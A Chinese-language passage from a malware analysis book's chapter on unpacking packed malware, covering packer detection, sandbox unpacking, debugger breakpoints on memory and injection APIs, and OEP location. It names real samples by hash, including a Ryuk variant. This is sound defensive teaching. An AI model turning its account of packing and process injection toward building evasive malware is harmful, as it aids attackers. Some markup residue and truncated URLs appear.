你还可以使用 PE 文件的节信息来判断恶意软件是否被打包。如你可能记得的那样,第一章中提到过,可执行文件有多个节,分别是.text、.data、.rdata、.rsrc等。在一个正常的非打包可执行文件中,这些节会被标记为这些名称。有时,打包器会以一种识别打包器的方式重命名文件中的节。例如,UPX 打包器会将它们重命名为UPX0、UPX1等。另一个打包恶意软件的异常特征是它通常有太多或不够的节。一个正常的非打包可执行文件通常有四个节(大约一两个多一些或少一些),因此一个拥有九个节或只有一两个节的文件可能是一个警示信号,应该进一步调查。
有许多不同的工具可以让你查看 PE 文件的节信息。在图 17-9 中,我使用了 PE-bear 来展示一个打包恶意软件样本的外观。

图 17-9:在 PE-bear 中查看被打包恶意软件样本的 PE 区段
该图中的文件只有两个区段。一个区段完全没有标签,另一个被称为 petite,这是一个非标准的可执行区段名称。该文件很可能是被打包过的,可能使用了 Petite 打包器。
最后,PE 文件的区段大小也是打包的一个重要指标。每个区段有两个大小特征:原始大小和虚拟大小。PE 文件的 原始大小 是区段在磁盘上的大小,而 虚拟大小 是文件执行并随后映射到内存后占用的大小。如果你发现一个恶意软件样本的原始大小为零,虚拟大小非零,那么这很可能表明该恶意软件是被打包的。在这种情况下,恶意软件可能试图将其代码隐藏在另一个区段中。
使用自动化打包器检测
最简单的判断恶意软件样本是否被打包的方法是使用自动化打包器检测工具。市面上有几种这类工具,但我个人最喜欢的是 Detect It Easy (DIE)、Exeinfo PE、PE Detective 和 CFF Explorer。这些工具提供的信息包括文件的熵值、区段名称和大小、编译器数据,有时(在最佳情况下)还会提供打包器的名称。
例如,Exeinfo PE 试图使用静态签名识别打包器变种。在 图 17-10 中,你可以看到 Exeinfo PE 的运行情况:它已识别出该恶意软件样本可能是用 .NET 编写的,并且可能被 DeepSea 混淆器打包。

图 17-10:在 Exeinfo PE 中识别恶意软件的打包器
虽然像 Exeinfo PE 这样的自动化打包器检测工具并不总是 100% 准确,但它们是检查恶意软件可执行文件的良好第一步,并且可以为你的分析和解包过程提供重要的提示。最好尝试几种工具,看看哪一种能为你正在检查的恶意软件样本提供最好的输出。
注意
许多这些工具会定期更新其检测数据库,因此务必安装这些工具的更新,以确保获取准确的结果。
自动解包
一旦你确认恶意软件样本确实被打包了,就可以开始考虑解包的方法。你可能会问自己,为什么要解包恶意软件样本?我不能直接运行它并进行分析吗? 当然,也可以选择直接在沙箱或调试器中运行恶意软件,完全避免解包;事实上,我将在《不解包分析》一章的第 383 页专门讨论这一点。然而,解包能让你深入了解恶意软件的核心并提取其有效载荷,这通常是你完全理解恶意软件的能力并对其代码进行静态分析所必需的。
虽然你仍然可以理解恶意软件的行为而无需解包它,但你可能会错过一些细微之处。例如,一个恶意软件样本可能具有隐藏的功能,或根据分析环境的不同而表现出不同的行为。在回避恶意软件的情况下,这意味着恶意软件在自动化的恶意软件沙箱中可能表现不同。如果不解包并仔细分析其代码,你可能会错过一些关键的行为、能力和指标。解包恶意软件样本的方法有很多,包括完全自动化解包、沙箱辅助解包、手动动态解包和静态解包。本节将从完全自动化解包和沙箱辅助解包开始,随后在接下来的章节中深入探讨其他方法。
完全自动化解包
完全自动化解包是解包恶意软件样本最简单和最快捷的方法,因此总是建议首先尝试这一方法。许多通用和常见的打包工具都具有内置的解包功能,或者有专门为它们编写的自动化解包工具。UPX 打包程序包含一个标志,允许文件解包。只需像这样将-d参数传递给 UPX,就能解包该文件:
C:\> **upx.exe -d** **`file.exe`**
其他工具包括 Un{i}packer,它通过代码仿真解包许多常见的打包工具(如 MPRESS、ASPack,以及当然的 UPX),还有 Universal Extractor 2(UniExtract2),它可以解包许多常见的打包工具和压缩文件档案。你应该首先尝试识别正在使用的打包工具;运用你迄今为止学到的技巧,然后尝试一些这些有用的自动化工具。
需要记住的一件重要事情是,像刚才提到的常见打包工具可以被恶意软件作者修改,因为它们中的许多是开源的。恶意软件作者修改这些打包工具来防止通过这些完全自动化方法进行解包是相对简单的。同样,记住高级恶意软件通常不会仅仅使用免费和常见的打包工具进行打包(或者至少不会仅仅使用这些工具),所以不要只依赖这些自动化工具。正如你很快就会看到的那样,还有许多其他工具可以帮助你进行自动化和半自动化的解包。
沙箱辅助解压
解压样本的下一个最简单方法是使用恶意软件分析沙箱。许多恶意软件沙箱可以自动化恶意软件的解压,通常通过检测内存中的恶意代码、挂钩并监视在恶意软件解压过程中经常调用的关键 Windows 函数,以及自动从内存中提取可执行代码。一个做得比较好的沙箱是商业沙箱 VMRay 分析器。在图 17-11 所示的输出中,您可以看到 VMRay 分析器成功地从内存中提取了恶意软件,并展示了其解压的不同阶段。

图 17-11:在 VMRay 分析器沙箱中查看从内存中转储的恶意软件可执行代码
在这个截图中,您可以看到 VMRay 分析器如何通过在恶意软件行为的关键阶段转储内存来尝试解压样本。例如,正如您在“Dump Reason”列中看到的那样,当恶意代码的内容发生变化、第一次执行时,或者内存中出现可执行文件(镜像)时,恶意代码会从内存中转储。VMRay 分析器还尝试重建转储的可执行文件的 PE 头,以便在反汇编器或调试器中更好地分析。
甚至有一个专门用于解压的沙箱:UnpacMe。根据其作者的说法,“UnpacMe 自动化了恶意软件分析过程的第一步。”也就是说,它自动化了解压过程。UnpacMe 是一个商业沙箱,但(截至本书写作时)提供免费的服务,每月提交次数有限。图 17-12 展示了一个提交到 UnpacMe 的示例,以及解压后可下载的有效载荷文件。

图 17-12:通过 UnpacMe 解压的恶意软件样本
有时恶意软件沙箱无法成功解压恶意软件的有效载荷。这可能有多种原因,例如恶意软件的规避行为,或未能按照恶意软件在内存中的解压过程进行操作。让我们来看看一些手动解压技术,这些技术可以帮助您在自动化技术失败时使用。
手动动态解压
手动解压涉及确定解压例程在打包恶意软件代码中的位置,了解它是如何解压恶意软件的,并跟踪这个解压过程以“捕捉”恶意软件的有效载荷到一个新解压的状态。手动解压有两种形式:动态解压和静态解压。
手动动态解包 涉及在虚拟机环境中引爆恶意软件,并允许恶意软件像在受害主机上一样执行并解包,同时使用调试器跟踪解包过程并捕获内存中的解包有效载荷。相比之下,静态解包 涉及逆向工程恶意软件的解包存根代码,重新创建该代码逻辑,并在打包的恶意软件上运行它。本节将重点讨论动态解包,我们将在“手动静态解包”中讨论静态解包,详见 第 382 页。
注意
与其提供非常具体的解包某些打包器的技术,不如介绍一些更通用的方法,你可以用它们动态解包许多不同类型的恶意软件,无论使用的是哪种打包器。这些技术并未按特定顺序呈现;每个打包器的行为不同,因此没有通用的解包技巧。你可能需要尝试不同的技术,或者将几种技术的部分结合起来。这就是解包如此具有挑战性但也非常有成就感的原因!
快速且简便的选择:让恶意软件自己做工作
当打包的恶意软件在受害主机上运行时,它必须在某个地方将自己解包到内存中。让恶意软件在虚拟机中爆炸,允许恶意软件执行并解包自己,然后提取解包后的代码,是动态解包最简单的形式之一。在深入研究本节中的更复杂的解包技术之前,你可以先尝试这个方法。
从内存中转储进程相对简单,可以通过 Process Hacker 或 Process Explorer,以及其他高级任务管理器类工具来完成。在 Process Hacker 中,右键点击恶意软件的运行进程,选择 Create Dump File,如图 17-13 所示,使用的是 sample.exe 进程。

图 17-13:使用 Process Hacker 从内存中提取恶意软件
这是一种快速且简便的解包方法,但它有一些局限性。首先,无法知道恶意软件是否已经完全在内存中解包。例如,逃逸性恶意软件可能会检测到虚拟机环境,并拒绝解包其有效载荷。不仅如此,由于这个文件是直接从内存中提取的,它也没有被正确地从内存中卸载,会出现错位,这意味着你很可能无法轻松地在像 IDA Pro 这样的反汇编工具中进行分析。然而,你可以通过运行 Strings 工具(或像 PEStudio 这样的工具)来检查文件的字符串,这将给你一些关于该恶意软件样本可能在做什么的线索。你甚至可能发现明文函数、C2 地址或解密后的数据。然而,还有更好的选择。
工具 Scylla 允许你从内存中提取恶意软件,并会自动重新对齐文件,修复文件头,甚至修复 IAT。Scylla 既是 x64dbg 的插件,也是一个独立工具,在这两种情况下的工作方式完全相同。例如,假设你有一个恶意软件样本,并将其传输到你的分析虚拟机中,然后引爆它。样本可能不会立即将自己解包到内存中,所以你选择等上一分钟左右,以确保样本已完全解包。接下来,你可以运行 Scylla 工具,如 图 17-14 所示。

图 17-14:使用 Scylla 转储恶意软件进程
Scylla 允许你选择一个目标进程来进行转储;通常这个进程是恶意软件的活动进程(此例中为 sample.exe)。然后,你可以点击 IAT 自动搜索,自动在进程内存中搜索可能的 IAT。一旦找到 IAT,点击 获取导入,生成一个导入列表,该列表将在进程被转储后填充 IAT。接下来,点击 转储 会将进程从内存转储到磁盘,生成一个可执行文件,基本上将进程从内存中解除映射。
大多数高级恶意软件不会允许自己如此干净地解包。然而,由于这项技术不超过五分钟,所以尝试一下总是值得的。现在让我们深入了解一些更高级的解包技术。
内存操作监控
由于解包存根必须为新解包的可执行文件分配内存并修改其内存保护,我们可以假设它将在某些时候调用与内存操作相关的 Windows 函数。这里的想法是,在调试器中设置这些内存操作函数的断点,运行恶意软件,并密切监视这些操作,寻找转储恶意软件解包代码的机会。
VirtualAlloc
VirtualAlloc 可能是你会看到的最常见的内存分配函数,但 VirtualAllocEx 和 malloc 也会被使用。你可以简单地将打包的恶意软件样本附加到像 x64bdg 这样的调试器,设置断点到你想要目标的内存分配函数(或者设置所有内存分配函数的断点),然后运行恶意软件样本。一旦击中内存分配函数断点,你必须识别新创建的内存区域的基址,并监视该内存区域是否有新数据。让我们看看这在实践中是如何工作的。
注意
要跟随这个示例,你可以在 VirusTotal 或 MalShare 上找到所需的恶意软件文件,哈希值如下:
SHA256: 7b8fc6e62ef39770587a056af9709cb38f052aad5d815f808346494b7a3d00c5
将可执行文件(我在图 17-15 中将其重命名为badthing.exe)加载到 x64dbg 中,并在调试菜单中执行Run to User Code功能,这将带你进入恶意软件代码的入口点。

图 17-15:恶意软件在 x64dbg 中的入口点
接下来,在 VirtualAlloc 函数上设置断点(bp VirtualAlloc),如图 17-16 所示。我们希望的是,解压后的可执行文件最终会被映射到这个内存区域。

图 17-16:在 VirtualAlloc 上设置断点
随后,继续运行恶意软件(按 F9)直到触发该断点(参见图 17-17)。

图 17-17:触发 VirtualAlloc 断点
一旦触发断点,你可以执行恶意软件直到函数返回;选择DebugExecute Till Return,然后检查 EAX 寄存器的值,它包含由 VirtualAlloc 分配的目标内存区域(参见图 17-18)。

图 17-18:EAX 中一个新分配的内存区域
在我的情况下,这个内存区域的基地址是 000F0000。右键点击这个 EAX 值,选择Follow in Dump。你应该能在 Dump 窗口中看到一个空的内存区域(参见图 17-19)。

图 17-19:x64dbg Dump 窗口中的新内存区域
如果你继续按 F9 键运行代码,同时观察这个 Dump 窗口,你可能会看到一些有趣的内容,比如一个 MZ 头部,这可能是恶意软件解压后的有效载荷(参见图 17-20)。

图 17-20:查看分配内存中的解压代码
你可以通过选择头部的起始位置(从 M 开始)以及 Dump 视图中的其余内存区域,右键点击并选择BinarySave to File来从内存中提取该文件。然后,你可以在 PE 文件查看工具中检查这个文件,寻找解包成功的迹象,如明文字符串和导入。
请记住,VirtualAlloc 和 VirtualAllocEx 函数会随后调用低级 API 函数 NtAllocateVirtualMemory。狡猾的恶意软件可能直接调用 NtAllocateVirtualMemory,而不是使用 VirtualAlloc。在 NtAllocateVirtualMemory 上设置断点可以帮助解决这些情况。
HeapAlloc 和 Malloc
恶意软件有时会在分配内存时调用 HeapAlloc,而不是 VirtualAlloc。HeapAlloc 和 VirtualAlloc 有两个主要区别:它在程序的堆上分配内存,而不是堆栈;它是一个更高级的 API 调用,有时会随后调用 VirtualAlloc。因此,通常会在 VirtualAlloc 上设置断点,但你也可以尝试在 HeapAlloc 上设置断点。
C 函数 malloc 的内存分配方式与 HeapAlloc 相似。实际上,malloc 通常会调用 HeapAlloc,或者在某些情况下调用 VirtualAlloc。恶意软件调用 malloc 的情况不常见,但如果它是用 C 编写的,或者试图逃避分析或隐藏其活动时,可能会调用 malloc,因为 malloc 可能会引起分析人员的较少关注。在这种情况下,在 malloc 上设置断点可能会很有用。
内存释放
VirtualFree(以及它的兄弟函数,VirtualFreeEx)和HeapFree函数被 Windows 用来释放并清理使用过的内存区域。在恶意软件的解压过程当中,一旦恶意软件为解压后的代码分配了内存并执行它,它很可能会在之后需要清理内存。类似于在VirtualAlloc和HeapAlloc上设置调试断点,设置在VirtualFree、VirtualFreeEx或HeapFree上的断点可以成为一种有效的策略,用来捕获未解压的恶意代码,在它有机会释放内存之前。你可能会幸运地在这些内存区域中发现一个未解压的可执行文件,并将其提取进行进一步分析。
VirtualProtect
VirtualProtect及其兄弟函数VirtualProtectEx也是可以用来监控解压代码的函数。在解压阶段,恶意软件分配内存后,必须设置内存的保护。内存的保护标识恶意软件可以对该内存区域执行的操作:写入、读取、执行或这些操作的结合。内存保护选项作为参数传递给VirtualProtect函数,调用该函数时,如图 17-21 所示。

图 17-21:恶意软件调用 VirtualProtect,IDA Pro 中的视图
在此截图中,flNewProtect参数表示将应用于内存区域的新保护(在此案例中为0x40,即 PAGE_EXECUTE_READWRITE)。该内存区域由lpAddress引用。另一个重要的参数是dwSize,它表示将应用新保护类别的内存区域的大小。
在 VirtualProtect 和 VirtualProtectEx 上设置断点并监视标记为可执行的内存区域,可以帮助你捕捉即将被恶意软件执行的恶意代码。很多时候,恶意软件解压后的代码就驻留在这些内存区域中。然后,这部分代码可以从内存中转储出来进行进一步分析。
表 17-1 列出了某些重要的内存保护常量。
表 17-1: 内存保护常量
| 常量(十六进制) | 常量值 | 描述 |
|---|---|---|
| 0x10 | PAGE_EXECUTE | 该内存区域将只能执行(写入和读取将导致访问冲突错误)。 |
| 0x20 | PAGE_EXECUTE_READ | 该内存区域将可执行且可读,但不可写。 |
| 0x40 | PAGE_EXECUTE_READWRITE | 该内存区域将可执行、可读和可写。 |
你可以在微软文档的“内存保护常量”页面中阅读这些常量以及其他相关内容,链接为 https://
需要注意的是,VirtualProtect 和 VirtualProtectEx 随后会调用底层的 API 函数 NtProtectVirtualMemory。有时候,狡猾的恶意软件样本可能会直接调用 NtProtectVirtualMemory,绕过正常的 VirtualProtect 调用,从而避开只关注 VirtualProtect 的恶意软件分析人员。在这种情况下,直接在 NtProtectVirtualMemory 上设置断点可能会有所帮助。
在对类似 VirtualProtect 的函数使用断点时,设置硬件断点在被修改的内存区域上比设置软件断点更为有效。正如第三章所讨论的,硬件断点更为持久,因此逃避分析的恶意软件将更难去除它们以绕过分析。我将在“分配内存上的硬件断点”部分(第 365 页)回到这一点。
运行时内存检查
另一种有用的通用解压恶意软件技术是检查调试器中的内存区域,特别是寻找那些被分配了可执行保护的区域。这些区域可能表示存在可执行代码。要在调试器中执行此操作(以我的案例为例,使用 x64dbg),选择调试器窗口顶部附近的内存映射。结果应类似于图 17-22。

图 17-22:在 x64dbg 中查看内存映射
这个内存映射显示了一些被标记为可执行的内存区域。你可以通过单击顶部的保护列标题来轻松排序此列表。一旦找到这些内存区域之一,你可以通过右键点击内存地址并选择转储内存到文件来转储它,或者通过选择在转储窗口中跟踪来在转储窗口中查看它以进行更仔细的检查。如果你怀疑内存区域中包含的是代码,你也可以在反汇编器中查看该内存区域,这样有助于你快速看到反汇编的代码。要做到这一点,右键点击内存地址并选择在反汇编器中跟踪。
需要关注的一些关键事项如下:
在保护列中具有 E(可执行)的内存区域
这将表示该区域中存在可执行代码。具有 ERW(执行-读取-写入)保护类的区域应该优先考虑;在许多情况下,恶意软件将在其解压负载即将执行时为该内存区域分配 ERW 保护。请注意,在某些调试器和内存编辑器中,这种保护类被称为 RWX(读取-写入-可执行)。
具有 PRV 内存类型的区域
你可以在类型列中找到这一点。PRV 是查找解压代码的一个很好的候选项。
在信息和内容列中没有任何内容的内存区域
如果这些字段被填充,通常意味着这些内存区域与恶意软件的可执行文件本身(压缩版本)有关,而不是其解压后的代码。图 17-22 中突出显示的内存区域是进一步检查的重点。
大型数据大小(由大小列指示)
一个较大的内存区域(例如 30,000 字节)可能表示内存中解压的可执行文件。然而,这并不总是成立,因为较小的内存区域也可能包含小段恶意代码,例如 shellcode。
包含 PE 头部的任何内存区域
运行内存字符串扫描查找 MZ 或 此程序 是有帮助的。在 x64dbg 中执行此操作,右键点击内存映射区域并选择 查找模式。然后,在 ASCII 文本框中输入你想要搜索的字符串(例如 此程序),并点击 确定。这将搜索所有内存区域,查找你选择的 ASCII 字符串。如果在这些区域中的某个区域找到了 PE 头部,你应该仔细检查它,因为它可能是恶意软件的解压载荷(但要考虑下一点)。
0x7 范围以下的地址
以 0x7 开头的内存地址(例如 x77300000)通常与映射到恶意软件进程地址空间中的合法 Windows DLL 相关联,因此你应当减少对这一内存范围的关注。我说 通常 是因为恶意软件有时会将恶意代码加载到这些区域之一,但这种情况并不常见。首先将注意力集中在 0x7 范围以下的地址上。对于 64 位恶意软件,这将是 0x700000000000 以下的地址。
分配内存上的硬件断点
如 第三章 所讨论,大多数现代调试器都提供了软件和硬件断点选项。在大多数情况下,软件断点足够使用(例如,设置特定 CPU 指令或 API 函数调用的断点)。然而,硬件断点对于跟踪恶意软件的解压过程也非常有用,因为它们可以直接设置在内存区域上。当恶意软件样本调用如 VirtualAlloc 这样的内存分配函数时,在新分配的内存区域上设置硬件断点可以帮助捕获恶意软件执行其解压后的代码。
在 x64dbg 中执行此操作,定位你感兴趣的内存区域(例如,通过 VirtualAlloc 创建的一个新分配的内存区域),在转储区域查看内存,右键点击并选择 断点 硬件,写入。这实际上会创建一个持久的硬件断点,当代码或数据写入该内存区域时,恶意程序将暂停。代码写入该区域后,你可以设置一个 硬件,执行 断点来捕获恶意程序执行它。请注意,内存断点也可以在此用于相同的目的。
遵循内存操作的陷阱
在内存管理函数上设置断点可以是跟踪恶意软件解包过程的有效技巧,但也有一些陷阱。首先,由于这些内存管理函数经常被使用(无论是在合法还是非法情况下),它们可能会产生大量噪音。在恶意软件样本中看到成千上万次的内存管理函数执行并不罕见,因此你可能会发现,在这些函数上设置断点会触发调试器执行时的不断暂停,导致你不得不处理太多信息。在这种情况下,最好的做法是与进程创建和代码注入协调工作,正如接下来的章节将详细介绍的那样。或者,你可以简单地改变策略。例如,只关注一个内存操作函数,如VirtualAlloc或VirtualProtect,而不是本章中列出的所有函数。
其次,内存中的断点可能在恶意软件执行过程中触发意外后果,通常表现为异常和程序崩溃。恶意软件可以通过在其代码中实现特殊的保护机制和规避技术来利用这一点,正如在第十章中讨论的那样;我们将在本章末尾简要回顾这一内容。
进程注入监控
恶意软件打包器在解包其恶意代码后,必须将这些代码写入内存。这可能涉及将代码写入其自身的进程地址空间(自注入),或将代码注入到一个生成的子进程或宿主上的其他受害进程中。这是恶意软件解包过程中的关键部分,需要特别关注。正如前面提到的,在沙箱中引爆恶意软件样本始终是一个良好的第一步,但当你尝试手动解包恶意软件时,这一点尤为重要。许多沙箱提供了一个很好的概述,展示了恶意软件如何执行其进程注入行为;这样的指导将帮助你决定在动态解包过程中,在哪里设置断点。
为了说明这一点,图 17-23 展示了提交到 Hybrid Analysis 沙箱中的一个可疑恶意软件样本的结果。

图 17-23:在 Hybrid Analysis 沙箱中恶意软件样本的行为
我们可以看到,这个恶意软件样本正在生成一个子进程 svchost.exe,该进程似乎是从路径 C:\system32\svchost.exe 执行的。这告诉我们,恶意软件样本可能正在解包其有效载荷并将其注入到来自 system32 目录的合法 svchost.exe Windows 可执行文件中。如果我们想通过使用调试器手动解包这个恶意软件样本,一个好的第一步是设置断点,预测会被调用的用于此注入技术的函数。例如,恶意软件可能会调用 CreateProcess 或 CreateProcessInternal 来执行 svchost.exe 进程。接下来,它可能会调用 WriteProcessMemory 将恶意代码写入目标进程。最后,为了在 svchost.exe 的上下文中执行恶意代码,恶意软件可能会调用类似 ResumeThread 的函数。在这些函数上设置断点可能帮助你捕捉到恶意软件有效载荷的解包状态,并从内存中提取它以进行进一步分析。所有这些函数在第十二章中都有描述,所以它们对你来说应该不完全陌生。接下来,让我们看看基于注入的解包在实践中的表现。
注意
要跟随这个示例,你可以使用以下哈希值在 VirusTotal 或 MalShare 上找到所需的恶意软件文件:
SHA256: cfb959cc29e728cd0dc6d6f45bcd893fc91cad6f465720d63c5143001e63e705
我们正在调查的恶意软件样本,属于 Ryuk 勒索病毒家族的一个变种,使用了一种进程注入技术,该技术涉及获取一个进程的句柄(OpenProcess)、在该进程内分配内存(VirtualAllocEx)、将其解包代码写入受害者进程(WriteProcessMemory),并最终执行这些恶意代码(CreateRemoteThread)。CreateRemoteThread 是一个非常适合在解包恶意软件时调查的函数,因为在此时,代码已经完全解包,并即将执行。
将恶意软件样本加载到你选择的调试器中(在我的例子中是 x64dbg),并在 CreateRemoteThread 上设置一个断点。接下来,运行恶意软件,直到在 CreateRemoteThread 处触发断点,如图 17-24 所示。

图 17-24:恶意软件调用 CreateRemoteThread 进行进程注入
CreateRemoteThread 接受一些参数,其中之一是指向写入恶意代码的进程的句柄;这个进程即将被执行。由于这个恶意软件样本是一个 64 位样本,CreateRemoteThread函数的这个参数位于 RCX 寄存器中(见图 17-25)。如果这是一个 32 位样本,这个值将位于堆栈中。

图 17-25:检查 64 位 CPU 寄存器
在我的情况下,这个句柄值是0x1A8。通过与 x64dbg 的“句柄”标签中的句柄列表进行交叉参考,我们可以看到它与进程 ID 2924 相关,该进程在我的虚拟机上是系统进程 sihost.exe(见图 17-26)。请注意,你可能需要通过按 F5 刷新“句柄”标签中的数据。

图 17-26:x64dbg 中的句柄列表
要找到即将执行的注入解压缩恶意代码,你需要定位这个代码在 sihost.exe 进程中的内存区域。为此,启动另一个调试器实例,然后通过选择文件附加并从进程列表中选择sihost.exe来附加到此进程。
附加到该进程后,你可以使用“内存映射”标签来定位可疑的内存区域。这个可疑的内存区域将具有 ERW(执行-读取-写入)保护,并且是一个私有(PRV)内存区域。图 17-27 显示了该可疑内存区域的屏幕截图。

图 17-27:内存映射中的疑似注入代码
为了验证该内存区域是否包含解压缩的可执行文件,右键点击它并选择在转储中跟踪。图 17-28 显示该内存区域包含可执行代码!

图 17-28:内存中的解压缩可执行文件
现在,为了确认这确实是解压缩的恶意代码,我们将这段代码转储到磁盘(在“内存映射”标签中,右键点击目标内存区域并选择转储内存到文件),并使用 PE 查看器如 PEStudio 打开该文件。如图 17-29 所示,PEStudio 中的“字符串”标签揭示了一些有趣的内容。

图 17-29:在 PEStudio 中查看解压缩代码中的字符串
一些罪证字符串包括命令(特别是cmd.exe命令,试图从主机中删除备份文件)以及可能与在主机上建立持久性相关的注册表键(/C REG...)。当我们将这些字符串与原始恶意软件样本文件进行比较时,我们可以看到明显的差异(见图 17-30)。

图 17-30:来自原始打包恶意软件的字符串
你能在图 17-30 中发现差异吗?解包代码中的许多字符串缺失。正如你所见,将解包文件中的字符串与原始打包恶意软件文件中的字符串进行比较,可以有效地确认恶意软件是否成功解包。
然而,仅仅查看字符串是有限的。为了进一步分析解包后的代码(例如在反汇编器中),我们可能需要修复并重新对齐转储的代码,稍后我们会介绍这个过程。
使用 API Monitor 进行进程注入跟踪
跟踪技术(见第三章)是一种有效的技术,不仅可以用于监视恶意软件的函数调用,还可以用于解包恶意软件。图 17-31 展示了在 API Monitor 中查看的恶意软件样本。你可以看到恶意软件样本执行了进程注入技术,并使用了本章中提到的几个函数。

图 17-31:在 API Monitor 中查看进程注入
在创建新进程(CreateProcessA)并在该进程中分配新的内存区域(VirtualAllocEx)后,恶意软件样本使用< sampa class="SANS_TheSansMonoCd_W5Regular_11">WriteProcessMemory将代码写入该新内存区域(见图 17-32)。在 API Monitor 中选择< sampa class="SANS_TheSansMonoCd_W5Regular_11">WriteProcessMemory函数并检查十六进制缓冲区窗口会显示一些有趣的内容:一个< sampa class="SANS_TheSansMonoCd_W5Regular_11">MZ头部!这个< sampa class="SANS_TheSansMonoCd_W5Regular_11">MZ头部告诉我们恶意软件将一个可执行文件写入内存,并且可以从 API Monitor 中复制并转储它。

图 17-32:在 API Monitor 中查看 WriteProcessMemory 进程注入
像 API Monitor 这样的 API 跟踪工具是你工具箱中的绝佳补充,用于跟踪进程注入并在解包过程中捕获恶意软件。
库加载和地址解析
你之前学到,打包器的解包程序可能会使用LoadLibrary和GetProcAddress等函数来动态解析恶意软件所需的函数。因为这些函数是在恶意软件执行其恶意行为之前调用的,所以LoadLibrary和GetProcAddress是接近解包后恶意软件负载的绝佳起点。
当你将打包的可执行文件加载到调试器中时,只需在LoadLibrary和GetProcAddress上设置断点,并通过按 F9 运行代码。可选地,仅在GetProcAddress上设置断点,这样你可以跳过所有的LoadLibrary操作。首先触发的断点很可能是LoadLibrary,它负责导入相关的 DLL 库,随后GetProcAddress会获取恶意软件希望执行的该 DLL 的特定函数地址。如果你继续运行程序,直到所有的函数地址都被解析出来,这可能就是恶意软件在内存中解包并准备开始执行恶意负载和功能的时刻。
从这里,你可以选择将进程从内存中转储(希望它包含了解包后的可执行文件),或者尝试定位 OEP。
OEP 位置
由于所有打包器最终都会在解包其负载后将控制流转移到恶意软件的 OEP,因此定位该 OEP 是解包的最佳且最干净的方法之一。这里的“最干净”是指,在 OEP 处转储解包的恶意软件通常会生成一个最接近原始未打包恶意软件样本的可执行文件。接下来,让我们深入探讨如何找到 OEP。
定位解密例程
首先,为了更好地理解恶意软件执行后将经过的解包过程,了解如何在打包样本中定位解密和解压例程是非常有帮助的。第十六章描述了如何在恶意软件中定位解密例程,且这个过程与打包器大致相同。你可以在调试器中调试打包样本,或者使用 IDA Pro 等反汇编工具来定位这些例程。
有一些关键指标可以帮助识别可能的解密和解压例程。首先,可能会有与移位相关的汇编指令,这些指令会重复执行,比如 xor、or、shl、shr 等。你还可能会看到许多数学运算指令,如 add、sub、mul、imul 和 div。最后,还会有循环,这表明解密或解压过程是多次迭代进行的。以下是一个可能在解压存根中的解压例程的示例:
`--snip--`
movzx edx, byte ptr [ecx]
shr edx, 2
shl esi, 6
lea esi, [edx+esi+701h]
mov edi, eax
sub edi, esi
mov dl, [edi]
mov [eax], dl
mov dl, [edi+1]
mov [eax+1], dl
mov dl, [edi+2]
inc ecx
mov [eax+2], dl
add eax, 3
`--snip--`
在这个恶意软件样本代码中,你可能已经注意到 shr、shl、sub 和 add 指令,这些都暗示着这段代码正在修改数据。同时还要注意 mov 指令(movzx 和 mov),这些指令表明代码正在操作数据的移动。根据这些迹象,你可以假设这段代码可能是在加载加密(压缩)数据并进行解密(解压)。但为了确定,接下来我们要讨论如何定位尾部跳转指令。
定位尾部跳转
如本章前面所述,尾部跳转发生在解压存根的末尾,并将恶意软件的控制流指向新解压的代码(更具体地说,是 OEP)。定位尾部跳转指令可以帮助你识别解压代码的执行起始位置,这是解压过程中的一个好技巧。由于尾部跳转位于解压过程的最后,它很可能会紧随你刚刚识别的解压和解密例程之后。使用像 IDA Pro 这样的反汇编工具定位尾部跳转最为方便,它应该看起来像是图 17-33。

图 17-33:IDA Pro 中的恶意软件尾部跳转
在这个截图中,代码块顶部有三个箭头,这意味着解包过程中的其他代码块正在跳转到这个代码块。这里还出现了一个call指令,接下来是一个jmp指令。这两条指令都引用了动态位置(注意 CPU 寄存器),而不是静态地址,这也是另一个很好的迹象,表明其中一个是尾部跳转。由于恶意软件可能会执行call指令而不是jmp指令,那么究竟哪个是尾部跳转呢?为了回答这个问题,你可能需要将这个样本放入调试器中,设置断点,查看这些指令的地址发生了什么,或者花更多时间静态分析解包代码。它们中的一个会指向 OEP,即恶意软件解包并开始执行其有效载荷代码的点。
注意
你可能已经注意到,sp-analysis failed出现在图 17-33 中代码的最后一行高亮部分。这是 IDA 的提示,表示它无法反汇编其余的代码,可能是因为剩余的代码在解包后动态解析,并且在二进制文件中无法静态访问。这是另一个表明代码被打包且存在解包存根的良好指示器! ##### 自动查找 OEP
虽然定位 OEP 的最佳方法通常是先定位尾部跳转,但也有一些调试工具和插件试图自动定位样本中的 OEP。例如,OllyDbg(一个老旧的调试器,仍然偶尔被恶意软件分析师和逆向工程师使用)内置了一个名为 SFX 的功能,可能有助于找到解包过程和 OEP。在 OllyDbg 中,导航到OptionsDebugging OptionsSFX,你应该能看到图 17-34 中显示的选项。

图 17-34:OllyDbg 中的调试选项
选择Trace Real Entry Blockwise或Trace Real Entry Bytewise,然后运行可执行文件。这个工具会尝试跟踪解包代码,并在 OEP 处断点。
由于自动定位 OEP 的工具效果不稳定,它们可能在处理高级恶意软件和打包工具时效果不佳。然而,它们仍然是工具箱中的一种选择,可能会为你节省一些时间和精力。
一旦你认为已经找到了 OEP(使用前面讨论的任何技术),并且样本已经在内存中解包,那么有多种方式可以验证这是否为真实的 OEP,以及样本是否已经完全解包。一个方法是检查内存中的字符串。在 x64dbg 中,只需在反汇编视图中右键点击鼠标,然后选择查找当前模块字符串引用。一个已解包的恶意软件样本通常会在内存中加载可读字符串,这些字符串表示其某些功能。如果你在内存中看到一些可疑的字符串,那么该样本(或者至少部分内容)现在已经在内存中解包。在这个窗口中,你也可以使用屏幕底部的搜索栏来搜索特定的字符串。
你还可以通过右键点击反汇编窗口,选择查找当前模块模式来搜索内存中的特定字符串或二进制模式。如果你知道恶意软件有某种能力,并且它将在内存中解包,这种方法非常有用。例如,如果你知道恶意软件将尝试联系 C2 URL(如http://
最后,你可以检查模块间调用,即恶意软件在某个时刻执行的 Windows API 函数,这些函数现在可能已经在内存中解包。为此,请在 x64dbg 的反汇编视图中右键点击,然后选择查找当前模块模块间调用。在一个已解包的恶意软件样本中,通常会列出许多有趣的 API 函数。然而,请记住,有些恶意软件不会显示其模块间调用,而是在稍后的时刻进一步解包并解析这些函数。
解包恶意软件提取
当你认为恶意软件的有效载荷已经在内存中解包时,是时候从内存中转储解包的代码了。从内存中转储解包的可执行文件将使你能够更详细地分析恶意代码,比如在反汇编器中进行分析。你可以在解包过程的任何阶段进行此操作,因此不一定需要已经找到 OEP。然而,最好先找到尾跳指令和随后的控制转移到 OEP。你也不必从内存中提取有效载荷以便进一步分析;你可以继续让恶意软件运行,并在调试器中分析它,正如我将在本章后面讨论的那样。
